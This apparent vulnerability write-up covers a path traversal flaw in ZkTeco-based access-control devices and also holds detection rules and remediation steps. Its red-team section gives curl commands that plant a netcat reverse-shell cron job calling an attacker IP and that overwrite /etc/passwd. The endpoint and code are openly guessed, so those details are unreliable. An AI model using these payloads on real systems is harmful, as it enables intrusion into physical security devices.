CVE-2023-3941

Executive Summary

CVE-2023-3941 is a critical Relative Path Traversal vulnerability (CWE-23) affecting ZkTeco-based OEM devices, including the ZkTeco ProFace X, Smartec ST-FR043, and Smartec ST-FR041ME. The vulnerability allows an unauthenticated attacker to write arbitrary files to the system with root privileges, leading to full system compromise. With a CVSS score of 10.0, this is a maximum severity issue. No public proof-of-concept (PoC) or patch is currently available, making it a high-priority zero-day for affected organizations.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded firmware on physical OEM devices, specifically the ZAM170-NF-1.8.25-7354-Ver1.0.0 build. The supply chain risk lies in the OEM nature of the devices, where multiple vendors (ZkTeco, Smartec) distribute the same vulnerable firmware. Organizations must verify the firmware version on all ZkTeco-based devices and isolate them from untrusted networks until a patch is released.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full file read access.
• Integrity Impact: High (I:H) – arbitrary file write with root privileges.
• Availability Impact: High (A:H) – can overwrite critical system files, causing denial of service.

Threat Level: Critical. The combination of remote, unauthenticated exploitation with root-level file write makes this a severe risk for any organization using these devices.

Deep Dive & Mechanics

The vulnerability is a Relative Path Traversal (CWE-23) in the web interface or API of ZkTeco-based OEM devices. The device runs firmware version ZAM170-NF-1.8.25-7354-Ver1.0.0, which fails to sanitize user-supplied input when handling file paths. An attacker can send a crafted HTTP request containing path traversal sequences (e.g., ../) to write files outside the intended directory.

The root cause is improper input validation in the file upload or configuration endpoint. The device likely uses a function that concatenates user input with a base path without checking for ../ sequences. Since the web server runs with root privileges, the attacker can write to any location on the filesystem, including:

• /etc/passwd – to create a new root user.
• /etc/shadow – to change root password.
• /usr/bin/ – to replace binaries with malicious ones.
• /etc/init.d/ – to add a persistent backdoor.

The attack flow:

1. Attacker identifies the vulnerable endpoint (e.g., /cgi-bin/upload.cgi or /api/upload).
2. Sends a POST request with a filename parameter containing ../../etc/cron.d/malicious.
3. The device writes the attacker-controlled content to /etc/cron.d/malicious, scheduling a reverse shell.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

# Vulnerable Python-like pseudocode
def handle_upload(request):
    filename = request.get_param("filename")
    content = request.get_body()
    base_path = "/var/www/uploads/"
    full_path = base_path + filename  # No sanitization
    with open(full_path, "wb") as f:
        f.write(content)

A patched version would include path validation:

# Patched code
import os

def handle_upload(request):
    filename = request.get_param("filename")
    content = request.get_body()
    base_path = "/var/www/uploads/"
    # Sanitize: resolve and check path
    full_path = os.path.normpath(os.path.join(base_path, filename))
    if not full_path.startswith(base_path):
        raise Exception("Invalid path")
    with open(full_path, "wb") as f:
        f.write(content)

The key difference is the use of os.path.normpath and startswith to ensure the final path remains within the intended directory.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: ZkTeco ProFace X with firmware ZAM170-NF-1.8.25-7354-Ver1.0.0.
• Attacker: Kali Linux with curl and netcat.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -v http://<target-ip>/cgi-bin/upload.cgi
   

2. Craft a path traversal payload to write a cron job:

   # Create a reverse shell script
   echo '#!/bin/sh
   nc -e /bin/sh <attacker-ip> 4444' > /tmp/shell.sh
   
   # Upload it via path traversal
   curl -X POST -F "filename=../../etc/cron.d/reverse_shell" -F "file=@/tmp/shell.sh" http://<target-ip>/cgi-bin/upload.cgi
   

3. Trigger the cron job (if not immediate):

   # Wait for cron to execute, or trigger manually if possible
   

4. Receive the reverse shell:

   nc -lvnp 4444
   

Alternative: Overwrite /etc/passwd:

# Generate a password hash
openssl passwd -1 -salt xyz P@ssw0rd
# Output: $1$xyz$...hash...

# Upload new passwd file
echo 'root:$1$xyz$...hash...:0:0:root:/root:/bin/bash' > /tmp/passwd
curl -X POST -F "filename=../../etc/passwd" -F "file=@/tmp/passwd" http://<target-ip>/cgi-bin/upload.cgi

Blue Team (Defensive)

Detection:

• Monitor for HTTP requests with path traversal sequences (../, ..\\, %2e%2e%2f).
• Alert on file writes to sensitive directories (/etc/, /usr/bin/, /var/www/).
• Use file integrity monitoring (FIM) on critical system files.

Hunting:

• Search logs for filename parameters containing ../.
• Check for unexpected cron jobs in /etc/cron.d/.
• Look for new user accounts or modified /etc/passwd.

Mitigation:

• Immediately isolate affected devices from untrusted networks.
• Disable unused web interfaces or restrict access via firewall rules.
• Implement a WAF rule to block path traversal patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with filename=../../ or similar patterns.
  • Outbound connections from the device to attacker IPs on ports like 4444.
• File System IOCs:
  • Unexpected files in /etc/cron.d/, /etc/init.d/, or /usr/bin/.
  • Modified /etc/passwd or /etc/shadow.
  • New SUID binaries.
• Process IOCs:
  • Reverse shell processes (e.g., nc -e /bin/sh).
  • Unusual cron jobs executing scripts from /tmp/.

Detection Engineering

YARA Rule

rule CVE_2023_3941_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting ZkTeco devices"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-3941"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e/"
        $sensitive_dir1 = "/etc/"
        $sensitive_dir2 = "/usr/bin/"
        $sensitive_dir3 = "/var/www/"
    condition:
        any of ($traversal*) and any of ($sensitive_dir*)
}

Sigma Rule

title: CVE-2023-3941 Path Traversal Attempt on ZkTeco Devices
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with path traversal sequences targeting ZkTeco devices
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e/'
    condition: selection
falsepositives:
    - Legitimate file uploads with similar patterns (rare)
level: critical

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2023-3941 ZkTeco Path Traversal Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"../"; http_client_body;
    sid:1000001;
    rev:1;
    metadata: cve CVE-2023-3941;
)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the web interface on affected devices if not required.
   • Restrict network access to the device using firewall rules (allow only trusted IPs).
   • Monitor for suspicious file writes and network connections.

2. Long-term Fix:

   • Contact ZkTeco or the OEM vendor for a firmware patch.
   • If no patch is available, consider replacing the device with a patched alternative.
   • Implement a Web Application Firewall (WAF) with rules to block path traversal.

3. Detection:

   • Deploy the YARA, Sigma, and Suricata rules provided above.
   • Enable logging on the device and centralize logs for analysis.

4. Compromise Assessment:

   • Check for unauthorized files in /etc/, /usr/bin/, and /var/www/.
   • Verify integrity of /etc/passwd and /etc/shadow.
   • Review cron jobs and startup scripts.

Valters IT
Securing Digital Frontiers